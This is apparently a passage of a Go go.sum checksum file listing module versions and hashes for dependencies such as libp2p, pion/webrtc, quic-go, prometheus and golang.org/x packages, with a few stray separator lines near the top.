github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc=
|
||||
github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8=
|
||||
github.com/ipfs/go-cid v0.5.0 h1:goEKKhaGm0ul11IHA7I6p1GmKz8kEYniqFopaB5Otwg=
|
||||
github.com/ipfs/go-cid v0.5.0/go.mod h1:0L7vmeNXpQpUS9vt+yEARkJ8rOg43DF3iPgn4GIN0mk=
|
||||
github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus=
|
||||
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk=
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk=
|
||||
github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE=
|
||||
github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
|
||||
github.com/koron/go-ssdp v0.0.6 h1:Jb0h04599eq/CY7rB5YEqPS83HmRfHP2azkxMN2rFtU=
|
||||
github.com/koron/go-ssdp v0.0.6/go.mod h1:0R9LfRJGek1zWTjN3JUNlm5INCDYGpRDfAptnct63fI=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/libp2p/go-buffer-pool v0.1.0 h1:oK4mSFcQz7cTQIfqbe4MIj9gLW+mnanjyFtc6cdF0Y8=
|
||||
github.com/libp2p/go-buffer-pool v0.1.0/go.mod h1:N+vh8gMqimBzdKkSMVuydVDq+UV5QTWy5HSiZacSbPg=
|
||||
github.com/libp2p/go-flow-metrics v0.2.0 h1:EIZzjmeOE6c8Dav0sNv35vhZxATIXWZg6j/C08XmmDw=
|
||||
github.com/libp2p/go-flow-metrics v0.2.0/go.mod h1:st3qqfu8+pMfh+9Mzqb2GTiwrAGjIPszEjZmtksN8Jc=
|
||||
github.com/libp2p/go-libp2p v0.48.0 h1:h2BrLAgrj7X8bEN05K7qmrjpNHYA+6tnsGRdprjTnvo=
|
||||
github.com/libp2p/go-libp2p v0.48.0/go.mod h1:Q1fBZNdmC2Hf82husCTfkKJVfHm2we5zk+NWmOGEmWk=
|
||||
github.com/libp2p/go-libp2p-asn-util v0.4.1 h1:xqL7++IKD9TBFMgnLPZR6/6iYhawHKHl950SO9L6n94=
|
||||
github.com/libp2p/go-libp2p-asn-util v0.4.1/go.mod h1:d/NI6XZ9qxw67b4e+NgpQexCIiFYJjErASrYW4PFDN8=
|
||||
github.com/libp2p/go-libp2p-testing v0.12.0 h1:EPvBb4kKMWO29qP4mZGyhVzUyR25dvfUIK5WDu6iPUA=
|
||||
github.com/libp2p/go-libp2p-testing v0.12.0/go.mod h1:KcGDRXyN7sQCllucn1cOOS+Dmm7ujhfEyXQL5lvkcPg=
|
||||
github.com/libp2p/go-msgio v0.3.0 h1:mf3Z8B1xcFN314sWX+2vOTShIE0Mmn2TXn3YCUQGNj0=
|
||||
github.com/libp2p/go-msgio v0.3.0/go.mod h1:nyRM819GmVaF9LX3l03RMh10QdOroF++NBbxAb0mmDM=
|
||||
github.com/libp2p/go-netroute v0.4.0 h1:sZZx9hyANYUx9PZyqcgE/E1GUG3iEtTZHUEvdtXT7/Q=
|
||||
github.com/libp2p/go-netroute v0.4.0/go.mod h1:Nkd5ShYgSMS5MUKy/MU2T57xFoOKvvLR92Lic48LEyA=
|
||||
github.com/libp2p/go-reuseport v0.4.0 h1:nR5KU7hD0WxXCJbmw7r2rhRYruNRl2koHw8fQscQm2s=
|
||||
github.com/libp2p/go-reuseport v0.4.0/go.mod h1:ZtI03j/wO5hZVDFo2jKywN6bYKWLOy8Se6DrI2E1cLU=
|
||||
github.com/libp2p/go-yamux/v5 v5.0.1 h1:f0WoX/bEF2E8SbE4c/k1Mo+/9z0O4oC/hWEA+nfYRSg=
|
||||
github.com/libp2p/go-yamux/v5 v5.0.1/go.mod h1:en+3cdX51U0ZslwRdRLrvQsdayFt3TSUKvBGErzpWbU=
|
||||
github.com/libp2p/zeroconf/v2 v2.2.0 h1:Cup06Jv6u81HLhIj1KasuNM/RHHrJ8T7wOTS4+Tv53Q=
|
||||
github.com/libp2p/zeroconf/v2 v2.2.0/go.mod h1:fuJqLnUwZTshS3U/bMRJ3+ow/v9oid1n0DmyYyNO1Xs=
|
||||
github.com/marcopolo/simnet v0.0.4 h1:50Kx4hS9kFGSRIbrt9xUS3NJX33EyPqHVmpXvaKLqrY=
|
||||
github.com/marcopolo/simnet v0.0.4/go.mod h1:tfQF1u2DmaB6WHODMtQaLtClEf3a296CKQLq5gAsIS0=
|
||||
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd h1:br0buuQ854V8u83wA0rVZ8ttrq5CpaPZdvrK0LP2lOk=
|
||||
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd/go.mod h1:QuCEs1Nt24+FYQEqAAncTDPJIuGs+LxK1MCiFL25pMU=
|
||||
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
|
||||
github.com/miekg/dns v1.1.66 h1:FeZXOS3VCVsKnEAd+wBkjMC3D2K+ww66Cq3VnCINuJE=
|
||||
github.com/miekg/dns v1.1.66/go.mod h1:jGFzBsSNbJw6z1HYut1RKBKHA9PBdxeHrZG8J+gC2WE=
|
||||
github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c h1:bzE/A84HN25pxAuk9Eej1Kz9OUelF97nAc82bDquQI8=
|
||||
github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c/go.mod h1:0SQS9kMwD2VsyFEB++InYyBJroV/FRmBgcydeSUcJms=
|
||||
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b h1:z78hV3sbSMAUoyUMM0I83AUIT6Hu17AWfgjzIbtrYFc=
|
||||
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b/go.mod h1:lxPUiZwKoFL8DUUmalo2yJJUCxbPKtm8OKfqr2/FTNU=
|
||||
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc h1:PTfri+PuQmWDqERdnNMiD9ZejrlswWrCpBEZgWOiTrc=
|
||||
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc/go.mod h1:cGKTAVKx4SxOuR/czcZ/E2RSJ3sfHs8FpHhQ5CWMf9s=
|
||||
github.com/minio/blake2b-simd v0.0.0-20160723061019-3f5f724cb5b1/go.mod h1:pD8RvIylQ358TN4wwqatJ8rNavkEINozVn9DtGI3dfQ=
|
||||
github.com/minio/sha256-simd v0.1.1-0.20190913151208-6de447530771/go.mod h1:B5e1o+1/KgNmWrSQK08Y6Z1Vb5pwIktudl0J58iy0KM=
|
||||
github.com/minio/sha256-simd v1.0.1 h1:6kaan5IFmwTNynnKKpDHe6FWHohJOHhCPchzK49dzMM=
|
||||
github.com/minio/sha256-simd v1.0.1/go.mod h1:Pz6AKMiUdngCLpeTL/RJY1M9rUuPMYujV5xJjtbRSN8=
|
||||
github.com/mr-tron/base58 v1.1.2/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
|
||||
github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o=
|
||||
github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
|
||||
github.com/multiformats/go-base32 v0.1.0 h1:pVx9xoSPqEIQG8o+UbAe7DNi51oej1NtK+aGkbLYxPE=
|
||||
github.com/multiformats/go-base32 v0.1.0/go.mod h1:Kj3tFY6zNr+ABYMqeUNeGvkIC/UYgtWibDcT0rExnbI=
|
||||
github.com/multiformats/go-base36 v0.2.0 h1:lFsAbNOGeKtuKozrtBsAkSVhv1p9D0/qedU9rQyccr0=
|
||||
github.com/multiformats/go-base36 v0.2.0/go.mod h1:qvnKE++v+2MWCfePClUEjE78Z7P2a1UV0xHgWc0hkp4=
|
||||
github.com/multiformats/go-multiaddr v0.1.1/go.mod h1:aMKBKNEYmzmDmxfX88/vz+J5IU55txyt0p4aiWVohjo=
|
||||
github.com/multiformats/go-multiaddr v0.16.0 h1:oGWEVKioVQcdIOBlYM8BH1rZDWOGJSqr9/BKl6zQ4qc=
|
||||
github.com/multiformats/go-multiaddr v0.16.0/go.mod h1:JSVUmXDjsVFiW7RjIFMP7+Ev+h1DTbiJgVeTV/tcmP0=
|
||||
github.com/multiformats/go-multiaddr-dns v0.4.1 h1:whi/uCLbDS3mSEUMb1MsoT4uzUeZB0N32yzufqS0i5M=
|
||||
github.com/multiformats/go-multiaddr-dns v0.4.1/go.mod h1:7hfthtB4E4pQwirrz+J0CcDUfbWzTqEzVyYKKIKpgkc=
|
||||
github.com/multiformats/go-multiaddr-fmt v0.1.0 h1:WLEFClPycPkp4fnIzoFoV9FVd49/eQsuaL3/CWe167E=
|
||||
github.com/multiformats/go-multiaddr-fmt v0.1.0/go.mod h1:hGtDIW4PU4BqJ50gW2quDuPVjyWNZxToGUh/HwTZYJo=
|
||||
github.com/multiformats/go-multibase v0.2.0 h1:isdYCVLvksgWlMW9OZRYJEa9pZETFivncJHmHnnd87g=
|
||||
github.com/multiformats/go-multibase v0.2.0/go.mod h1:bFBZX4lKCA/2lyOFSAoKH5SS6oPyjtnzK/XTFDPkNuk=
|
||||
github.com/multiformats/go-multicodec v0.9.1 h1:x/Fuxr7ZuR4jJV4Os5g444F7xC4XmyUaT/FWtE+9Zjo=
|
||||
github.com/multiformats/go-multicodec v0.9.1/go.mod h1:LLWNMtyV5ithSBUo3vFIMaeDy+h3EbkMTek1m+Fybbo=
|
||||
github.com/multiformats/go-multihash v0.0.8/go.mod h1:YSLudS+Pi8NHE7o6tb3D8vrpKa63epEDmG8nTduyAew=
|
||||
github.com/multiformats/go-multihash v0.2.3 h1:7Lyc8XfX/IY2jWb/gI7JP+o7JEq9hOa7BFvVU9RSh+U=
|
||||
github.com/multiformats/go-multihash v0.2.3/go.mod h1:dXgKXCXjBzdscBLk9JkjINiEsCKRVch90MdaGiKsvSM=
|
||||
github.com/multiformats/go-multistream v0.6.1 h1:4aoX5v6T+yWmc2raBHsTvzmFhOI8WVOer28DeBBEYdQ=
|
||||
github.com/multiformats/go-multistream v0.6.1/go.mod h1:ksQf6kqHAb6zIsyw7Zm+gAuVo57Qbq84E27YlYqavqw=
|
||||
github.com/multiformats/go-varint v0.0.7 h1:sWSGR+f/eu5ABZA2ZpYKBILXTTs9JWpdEM/nEGOHFS8=
|
||||
github.com/multiformats/go-varint v0.0.7/go.mod h1:r8PUYw/fD/SjBCiKOoDlGF6QawOELpZAu9eioSos/OU=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0=
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y=
|
||||
github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o=
|
||||
github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M=
|
||||
github.com/pion/dtls/v3 v3.1.2 h1:gqEdOUXLtCGW+afsBLO0LtDD8GnuBBjEy6HRtyofZTc=
|
||||
github.com/pion/dtls/v3 v3.1.2/go.mod h1:Hw/igcX4pdY69z1Hgv5x7wJFrUkdgHwAn/Q/uo7YHRo=
|
||||
github.com/pion/ice/v4 v4.0.10 h1:P59w1iauC/wPk9PdY8Vjl4fOFL5B+USq1+xbDcN6gT4=
|
||||
github.com/pion/ice/v4 v4.0.10/go.mod h1:y3M18aPhIxLlcO/4dn9X8LzLLSma84cx6emMSu14FGw=
|
||||
github.com/pion/interceptor v0.1.40 h1:e0BjnPcGpr2CFQgKhrQisBU7V3GXK6wrfYrGYaU6Jq4=
|
||||
github.com/pion/interceptor v0.1.40/go.mod h1:Z6kqH7M/FYirg3frjGJ21VLSRJGBXB/KqaTIrdqnOic=
|
||||
github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8=
|
||||
github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so=
|
||||
github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM=
|
||||
github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA=
|
||||
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
|
||||
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
|
||||
github.com/pion/rtcp v1.2.16 h1:fk1B1dNW4hsI78XUCljZJlC4kZOPk67mNRuQ0fcEkSo=
|
||||
github.com/pion/rtcp v1.2.16/go.mod h1:/as7VKfYbs5NIb4h6muQ35kQF/J0ZVNz2Z3xKoCBYOo=
|
||||
github.com/pion/rtp v1.8.19 h1:jhdO/3XhL/aKm/wARFVmvTfq0lC/CvN1xwYKmduly3c=
|
||||
github.com/pion/rtp v1.8.19/go.mod h1:bAu2UFKScgzyFqvUKmbvzSdPr+NGbZtv6UB2hesqXBk=
|
||||
github.com/pion/sctp v1.8.39 h1:PJma40vRHa3UTO3C4MyeJDQ+KIobVYRZQZ0Nt7SjQnE=
|
||||
github.com/pion/sctp v1.8.39/go.mod h1:cNiLdchXra8fHQwmIoqw0MbLLMs+f7uQ+dGMG2gWebE=
|
||||
github.com/pion/sdp/v3 v3.0.18 h1:l0bAXazKHpepazVdp+tPYnrsy9dfh7ZbT8DxesH5ZnI=
|
||||
github.com/pion/sdp/v3 v3.0.18/go.mod h1:ZREGo6A9ZygQ9XkqAj5xYCQtQpif0i6Pa81HOiAdqQ8=
|
||||
github.com/pion/srtp/v3 v3.0.6 h1:E2gyj1f5X10sB/qILUGIkL4C2CqK269Xq167PbGCc/4=
|
||||
github.com/pion/srtp/v3 v3.0.6/go.mod h1:BxvziG3v/armJHAaJ87euvkhHqWe9I7iiOy50K2QkhY=
|
||||
github.com/pion/stun/v3 v3.1.1 h1:CkQxveJ4xGQjulGSROXbXq94TAWu8gIX2dT+ePhUkqw=
|
||||
github.com/pion/stun/v3 v3.1.1/go.mod h1:qC1DfmcCTQjl9PBaMa5wSn3x9IPmKxSdcCsxBcDBndM=
|
||||
github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0=
|
||||
github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo=
|
||||
github.com/pion/transport/v4 v4.0.1 h1:sdROELU6BZ63Ab7FrOLn13M6YdJLY20wldXW2Cu2k8o=
|
||||
github.com/pion/transport/v4 v4.0.1/go.mod h1:nEuEA4AD5lPdcIegQDpVLgNoDGreqM/YqmEx3ovP4jM=
|
||||
github.com/pion/turn/v4 v4.0.2 h1:ZqgQ3+MjP32ug30xAbD6Mn+/K4Sxi3SdNOTFf+7mpps=
|
||||
github.com/pion/turn/v4 v4.0.2/go.mod h1:pMMKP/ieNAG/fN5cZiN4SDuyKsXtNTr0ccN7IToA1zs=
|
||||
github.com/pion/webrtc/v4 v4.1.2 h1:mpuUo/EJ1zMNKGE79fAdYNFZBX790KE7kQQpLMjjR54=
|
||||
github.com/pion/webrtc/v4 v4.1.2/go.mod h1:xsCXiNAmMEjIdFxAYU0MbB3RwRieJsegSB2JZsGN+8U=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_golang v1.22.0 h1:rb93p9lokFEsctTys46VnV1kLCDpVZ0a/Y92Vm0Zc6Q=
|
||||
github.com/prometheus/client_golang v1.22.0/go.mod h1:R7ljNsLXhuQXYZYtw6GAE9AZg8Y7vEW5scdCXrWRXC0=
|
||||
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
|
||||
github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
|
||||
github.com/prometheus/common v0.64.0 h1:pdZeA+g617P7oGv1CzdTzyeShxAGrTBsolKNOLQPGO4=
|
||||
github.com/prometheus/common v0.64.0/go.mod h1:0gZns+BLRQ3V6NdaerOhMbwwRbNh9hkGINtQAsP5GS8=
|
||||
github.com/prometheus/procfs v0.16.1 h1:hZ15bTNuirocR6u0JZ6BAHHmwS1p8B4P6MRqxtzMyRg=
|
||||
github.com/prometheus/procfs v0.16.1/go.mod h1:teAbpZRB1iIAJYREa1LsoWUXykVXA1KlTmWl8x/U+Is=
|
||||
github.com/quic-go/qpack v0.6.0 h1:g7W+BMYynC1LbYLSqRt8PBg5Tgwxn214ZZR34VIOjz8=
|
||||
github.com/quic-go/qpack v0.6.0/go.mod h1:lUpLKChi8njB4ty2bFLX2x4gzDqXwUpaO1DP9qMDZII=
|
||||
github.com/quic-go/quic-go v0.59.0 h1:OLJkp1Mlm/aS7dpKgTc6cnpynnD2Xg7C1pwL6vy/SAw=
|
||||
github.com/quic-go/quic-go v0.59.0/go.mod h1:upnsH4Ju1YkqpLXC305eW3yDZ4NfnNbmQRCMWS58IKU=
|
||||
github.com/quic-go/webtransport-go v0.10.0 h1:LqXXPOXuETY5Xe8ITdGisBzTYmUOy5eSj+9n4hLTjHI=
|
||||
github.com/quic-go/webtransport-go v0.10.0/go.mod h1:LeGIXr5BQKE3UsynwVBeQrU1TPrbh73MGoC6jd+V7ow=
|
||||
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
|
||||
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
|
||||
github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI=
|
||||
github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
|
||||
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
|
||||
go.uber.org/dig v1.19.0 h1:BACLhebsYdpQ7IROQ1AGPjrXcP5dF80U3gKoFzbaq/4=
|
||||
go.uber.org/dig v1.19.0/go.mod h1:Us0rSJiThwCv2GteUN0Q7OKvU7n5J4dxZ9JKUXozFdE=
|
||||
go.uber.org/fx v1.24.0 h1:wE8mruvpg2kiiL1Vqd0CC+tr0/24XIB10Iwp2lLWzkg=
|
||||
go.uber.org/fx v1.24.0/go.mod h1:AmDeGyS+ZARGKM4tlH4FY2Jr63VjbEDJHtqXTGP5hbo=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
go.uber.org/mock v0.5.2 h1:LbtPTcP8A5k9WPXj54PPPbjcI4Y6lhyOZXn+VS7wNko=
|
||||
go.uber.org/mock v0.5.2/go.mod h1:wLlUxC2vVTPTaE3UD51E0BGOAElKrILxhVSDYQLld5o=
|
||||
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
|
||||
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
|
||||
go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=
|
||||
go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200602180216-279210d13fed/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
|
||||
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
|
||||
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 h1:bsqhLWFR6G6xiQcb+JoGqdKdRU6WzPWmK8E0jxTjzo4=
|
||||
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8=
|
||||
golang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c=
|
||||
golang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210423184538-5f58ad60dda6/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
|
||||
golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=
|
||||
golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
|
||||
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200602225109-6fdc65e7d980/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210426080607-c94f62235c83/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
|
||||
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 h1:O1cMQHRfwNpDfDJerqRoE2oD+AFlyid87D40L/OkkJo=
|
||||
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2/go.mod h1:b7fPSJ0pKZ3ccUh8gnTONJxhn3c/PS6tyzQvyqw4iA8=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=
|
||||
golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=
|
||||
golang.org/x/time v0.12.0 h1:ScB/8o8olJvc+CQPWrK3fPZNfh7qgwCrY0zJmoEQLSE=
|
||||
